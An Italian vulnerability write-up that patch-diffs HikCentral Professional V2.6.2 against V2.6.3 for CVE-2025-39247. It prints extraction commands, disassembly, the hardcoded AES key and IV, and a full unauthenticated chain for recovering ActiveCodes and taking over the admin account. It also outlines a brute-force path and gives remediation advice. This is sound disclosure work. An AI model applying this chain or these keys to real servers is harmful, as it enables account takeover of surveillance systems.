Risultato:
- Dimensione: 1,314,043,792 byte (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — corrisponde al valore pubblicato da FileHorse, confermando l'installer genuino firmato Hikvision (non un re-bundle di terze parti)
- Intestazioni della risposta CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 giorni nella cache perimetrale di Tencent EdgeOne senza sfratto)

**Osservazione collaterale degna di essere segnalata al PSIRT di Hikvision:** la "rimozione" della pagina V2.6.2 è solo estetica. Il file orfano è raggiungibile sulla CDN senza autenticazione e senza un gate URL firmato. I Full Pack V2.5.1 e V2.6.0 rispondono allo stesso modo.

### 2.2 Installer corretto (V2.6.3 Base Pack)

Attualmente collegato dalla pagina di download di V2.6.3; stesso metodo di recupero:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe

- Dimensione: 32,599,504 bytes (31 MB)

---

## 3. Estrazione statica

Tutti e tre sono wrapper PE di tipo InstallShield. `7z` li estrae in due passaggi:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>

# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
  for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
    sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
    7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
  done
done

Risultato: 239 file modificati in percorsi comuni. Distribuzione:

| Bucket | Conteggio | Commento |
|---|---|---|
| `246/www/*.js` (blocchi Web UI) | ~200 | Per lo più hash di asset aggiornati per versione; ignora |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Delta configurazione Nginx a file singolo — inizia da qui** |
| `246/Nginx*/install.bat` | 6 | Script di installazione, non correlati |
| `244/bin/*.{exe,dll}` | 6 | Binari nativi (`DistributionFilter.dll`, `FilterChain.dll`, strumenti multimediali) |
| `282/*.{exe,dll}` | 55 | Servizi applicativi (il cluster più grande — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Rebuild di Postgres, non correlato |
| `284/hplugin/dahua_plugin/*` | 4 | Aggiornamento SDK fornitore (+10.97 MB) — non correlato |
| `284/hplugin/onvif_plugin/*` | 4 | Aggiornamento SDK fornitore (+0.99 MB) — non correlato |
| stub di upgrade/disinstallazione, crash reporter | ~30 | Ricostruzioni timestamp PE della stessa dimensione, ignora |

Dopo aver filtrato l'aggiornamento SDK del fornitore, lo scostamento timestamp del sistema di build e i puri incrementi estetici degli asset, i delta *effettivamente* rilevanti per la sicurezza si riducono a:

- Un file di configurazione Nginx
- Un piccolo numero di binari C++ in `282/` (principalmente `platform.dll`, il servizio backend HCMP, +57 KB)

---

## 5. Il diff di Nginx: individuazione gratuita del bug

`diff -u nginx_location.conf` tra V2.6.2 e V2.6.3 produce esattamente un hunk: un blocco `location =` completamente nuovo in V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码                   ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
    if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
    if ($allowed != "1")   { return 403; }
    if ($scheme = "http")  { proxy_pass http://http_backend;  }
    if ($scheme = "https") { proxy_pass http://http2_backend; }
}

Quindi, ancor prima di disassemblare qualsiasi cosa, il JS pubblico ti dà la piena forma del wire. Ma rivela anche la parte scomoda: il corpo della richiesta richiede **o un `ActiveCode` valido o risposte corrette di `QuestionList`**. Inviare valori vuoti non funziona — il backend rifiuta con uno degli errori documentati (verificato tramite string-mining di `platform.dll`, §7).

Quindi CVE-2025-39247 **non** è "l'endpoint è un auth-bypass; invia campi vuoti e la password cambia". È "l'endpoint *si fida di un chiamante locale* che abbia già il giusto ActiveCode; il bug è che il gate di rete a livello di localhost manca, quindi qualsiasi *chiamante remoto* che possa *anche* fornire un ActiveCode o QuestionList valido ha successo." Pertanto il vero enigma dello sfruttamento è: da dove provengono ActiveCode o QuestionList?

---

## 7. Backend handler — string-mining `platform.dll`

`platform.dll` è il servizio backend HCMP, 46.87 MB nella V2.6.2, 46.93 MB nella V2.6.3 (+57 KB). Tutte le stringhe di routing, le stringhe di formato dei log e le stringhe C++ RTTI / `__FUNCTION__` sono presenti in chiaro.

Stringhe all'interno di `platform.dll` attorno al gestore:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer

[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].

Traduzione: V2.6.2 aveva **nessun** limite di frequenza sul percorso di validazione `ChangeDefaultUserPassword`. Un attaccante che fornisce un ActiveCode errato o risposte sbagliate alle domande di sicurezza riceve semplicemente un errore e può riprovare all'infinito. La stringa di formato del codice di verifica `%06d` si trova anche in `platform.dll` (insieme allo schema SQL `verify_code VARCHAR(64)`), confermando che il codice di verifica email è un **decimale a 6 cifre**, spazio di ricerca 10⁶.

Questo è già un exploit praticabile (percorso A): innescare `SendVerifyCode`, forzatura bruta di 10⁶ codici all'interno della finestra di scadenza senza blocco. A 1000 richieste/s il tempo medio per il successo ≈ 8 minuti. Ma esiste un percorso più incisivo.

---

## 8. La superficie di divulgazione di informazioni pre-autenticazione

L'enumerazione degli endpoint in `platform.dll` rivela diversi elementi simili che sembrano correlati:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode

So `RetrieveStateInfo(Name=admin)` restituisce l'email di admin, se il recupero tramite domanda di sicurezza è configurato, se il recupero tramite email è configurato e il tempo rimanente di qualsiasi codice di verifica in corso — a chiunque, non autenticato.

`RetrieveStateInfo` non è bloccato dalla patch V2.6.3. La divulgazione di informazioni persiste in V2.6.3.

---

## 9. La superficie d'attacco della licenza/QR

L'endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` è sorprendente perché il suo nome accoppia *License* con *ActiveCode* — e il gestore di reset della password accetta anche un campo `ActiveCode`. Si tratta di una sovrapposizione sospetta di terminologia.

Stringhe raggiungibili da quel gestore:```
License:%s;DZP:%s                                    ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s           ← AES path used to encrypt
[%s]Base64Encode failed! data:%s                     ← then base64
/ResponseStatus/Data/QRCode                          ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s

La prima voce è l'unica stringref a 16 byte. Quella lunghezza è sospetta: il blocco, la chiave e l'IV AES sono tutti di 16 byte per AES-128. Il letterale `AaBbCcDd1234!@#$` — otto coppie di lettere alternate maiuscole/minuscole seguite da `1234!@#$` — è anche la tipica forma da manuale di "costante segnaposto per sviluppatori" (simile agli idiomi ASCII *reali* `BAADF00D` / `DEADBEEF`). A questo punto, un'ipotesi sensata è "questo è l'IV".

Questa ipotesi è supportata dal contesto del disassemblato. La sequenza di istruzioni attorno alla stringref:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov  dword ptr [rsp + 0x100], 5             ; some flag = 5
lea  rdx, [rip + 0x1837cd7]                 ; <— loads "AaBbCcDd1234!@#$"
lea  rcx, [rsp + 0xe0]                      ; destination
call <thunk>                                ; std::string assign-like; copies 16B into [rsp+0xe0]
mov  dword ptr [rsp + 0x104], 1
lea  rdx, [rsp + 0xa0]                      ; pass: rdx = key  (16B at [rsp+0xa0])
lea  rcx, [rsp + 0x60]                      ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563>       ; → 0x181b03790, a generic AES mode-dispatcher
                                            ;   that imports AES_cbc_encrypt, AES_cfb128_encrypt,
                                            ;   AES_ecb_encrypt and AES_ofb128_encrypt.
                                            ;   QR path takes the AES_cbc_encrypt branch.

Poi disassemblando `0x1807d19b0`: è una *funzione di derivazione delle chiavi puramente aritmetica*. Prende un byte come input (il `0x41`), alloca 16 byte nello stack e scrive 16 valori ciascuno calcolato come `seed + offset_i` per una sequenza hardcoded di 16 offset con segno:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D

Stessa famiglia aritmetica. Stessi 8 byte finali (`1234!@#$`). Entrambi sono costanti binarie incorporate identiche in ogni installazione V2.6.2 (e in V2.3.1 .. V2.6.2 e V3.0.0 — condividono il percorso di crittografia QR), quindi un singolo recupero da una copia di `platform.dll` è sufficiente per decifrare il QR da qualsiasi server HCMP vulnerabile sulla rete.

---

## 11. Catena end-to-end

La catena si divide nettamente in due metà:

- **Le metà 1-3** sono un problema di **divulgazione di informazioni** non autenticato in HCMP. Eseguono contro il target due richieste in sola lettura e recuperano un segreto per installazione (il License ActiveCode) da un endpoint pre-login.
- **Le metà 4-5** sono il **takeover** eseguito inviando l'ActiveCode recuperato al flusso legittimo "Password dimenticata" di HCMP tramite la normale interfaccia Web. Non è necessaria alcuna richiesta HTTP speciale: l'operatore clicca attraverso lo stesso modulo che un utente legittimo userebbe.

La divisione è importante: consente di implementare il PoC di riferimento come un puro strumento di ricognizione senza alcun percorso di codice distruttivo al suo interno (il flusso dell'interfaccia utente rimane con l'uomo nel ciclo).```
HALF 1 — automated recon (recovers the ActiveCode):

1. POST  /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET   (empty body)
         (unauthenticated, read-only)
         → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
         → SID is a server-issued anonymous session token used by step 2.

2. POST  /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
         (empty body, unauthenticated, read-only)
         → ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
         The QR's payload is the URL template
             https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
         where  <b64> = base64(
                          AES-128-CBC-PKCS7(
                            KEY = WwXxYyZz1234!@#$,
                            IV  = AaBbCcDd1234!@#$,
                            PT  = "License:<code>[,<code>...];DZP:<devicecode>"))
         The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
         (one per licensed module on the target). Any single ActiveCode in
         that list is accepted by the takeover workflow in HALF 2.

3. Locally:
     a. base64-decode the QRCode field → PNG bytes
     b. decode the QR (e.g. pyzbar)     → URL string
     c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
        base64 character that must survive verbatim)
     d. base64-decode                   → 16N bytes of AES ciphertext
     e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
     f. split on  "License:" / "," / ";DZP:"
     → list of ActiveCodes in plaintext.

HALF 2 — manual takeover via the legitimate Web UI:

4. Open  https://<target>:<port>  in a browser.
5. Click «Forgot password».
6. Username                 →  admin
7. Recovery method          →  «Activation code»  (NOT email / questions)
8. Activation code          →  <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.

Due flag `--qr-*` consentono allo script di funzionare interamente offline su un QR catturato (per analisi senza colpire nuovamente un bersaglio):
- `--qr-scanned-text '<value>'` — incolla il contenuto testuale di un QR scansionato
- `--qr-ciphertext-hex <hex>`  — fornisci un ciphertext AES pre-estratto decodificato da base64

---

## 12. Cosa è cambiato effettivamente in V2.6.3 (e nel Fix-Pack)

| Difesa | V2.6.2 | V2.6.3 | Fix-Pack su V2.6.2 |
|---|---|---|---|
| Restrizione Nginx remote-addr su `ChangeDefaultUserPassword` | assente | **aggiunto** | **aggiunto** (tramite script InstallShield nell'EXE del Fix-Pack — confermato dalle stringhe `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` all'interno del motore di installazione del Fix-Pack) |
| Controllo letterale `127.0.0.1` a livello di app nell'handler | assente | **aggiunto** | non aggiunto (il Fix-Pack non corregge `platform.dll`) |
| Blocco per account (`CRetrievePwdByQuesFreezeManager`) | assente | **aggiunto (solo admin)** | non aggiunto |
| Passo di validazione `CheckToken` | assente | **aggiunto** | non aggiunto |
| Il plaintext del QR contiene `License:<ActiveCode>;DZP:...` | SÌ | **rimosso** | non cambiato (il Fix-Pack non corregge `platform.dll`) |
| Chiave AES del QR | recuperabile dal binario | ruotata *o* inutilizzata (dipende se la modifica del formato plaintext ha reso il percorso morto) | ruotata tramite `wbaes_key_dec` + decryptor whitebox-AES nel Fix-Pack |
| IV AES del QR | `AaBbCcDd1234!@#$` | invariato | invariato |
| Divulgazione informazioni `RetrieveStateInfo` | perde | **ancora perde** | ancora perde |
| `GetSecurityQuestionCommBeforeLogin` | perde | **ancora perde** | ancora perde |
| Installer vulnerabile raggiungibile su CDN Hikvision | sì | sì | sì |

Il Fix-Pack include una parte mobile aggiuntiva di cui la release V2.6.3 non ha bisogno: un **decryptor whitebox-AES** (`wbext_dec.exe`, il percorso del sorgente perde `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, utilizza il proprio letterale IV `fixed_iv_16byte`) più un **ciphertext AES-128-CFB da 244 byte** (`wbaes_key_dec`). Il decryptor prende il blob di ciphertext e produce una nuova chiave in plaintext, che l'installer del Fix-Pack scrive nell'archivio di HCMP per ruotare la chiave QR incorporata nel binario sulle installazioni V2.6.2 esistenti. Whitebox-AES viene utilizzato qui puramente per rendere scomodo estrarre la chiave ruotata dall'artefatto della patch tramite ispezione — la stessa tecnica difensiva usata dai sistemi DRM.

---

## 13. Azioni di remediation consigliate (oltre le patch rilasciate)

1. **Rimuovere i binari installer orfani dal CDN.** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` ancora serve HTTP/2 200 con un hit della cache edge di 29 giorni. Lo stesso vale per V2.6.0, V2.5.1 ecc. — ogni installer nell'intervallo vulnerabile è ancora raggiungibile tramite URL diretto. La rimozione a livello di pagina è solo cosmetica.
2. **Autenticare `RetrieveStateInfo` e `GetSecurityQuestionCommBeforeLogin`.** Entrambi perdono l'email dell'amministratore e i metadati di configurazione del recupero a chiamanti anonimi anche in V2.6.3; nessuno dei due è stato toccato dalla correzione.
3. **Smetti di usare costanti segnaposto ASCII come materiale crittografico per le chiavi.** `WwXxYyZz1234!@#$` è il tipo di valore che sopravvive a una "revisione del codice per scorrimento". Sostituisci con materiale casuale per installazione al primo avvio; se la compatibilità all'indietro richiede un fallback incorporato nel binario, almeno derivarlo da un hash dello stato specifico dell'installazione (GUID macchina, timestamp di installazione) in modo che vari per implementazione.
4. **Tratta "l'IV non deve essere segreto" come una trappola, non una licenza.** Mantenere l'IV letterale anche dopo la divulgazione è matematicamente difendibile in CBC, ma produce un'inutile agevolazione per l'attaccante una volta che il diff espone la rotazione come solo chiave.
5. **Per la famiglia di endpoint `ChangeDefault*`**, preferisci un listener Unix-domain-socket / solo loopback a livello di applicazione rispetto a una restrizione di configurazione Nginx. Un file di configurazione è a una modifica errata dal reintrodurre il bug; un `bind 127.0.0.1` nel servizio C++ è strutturalmente più sicuro.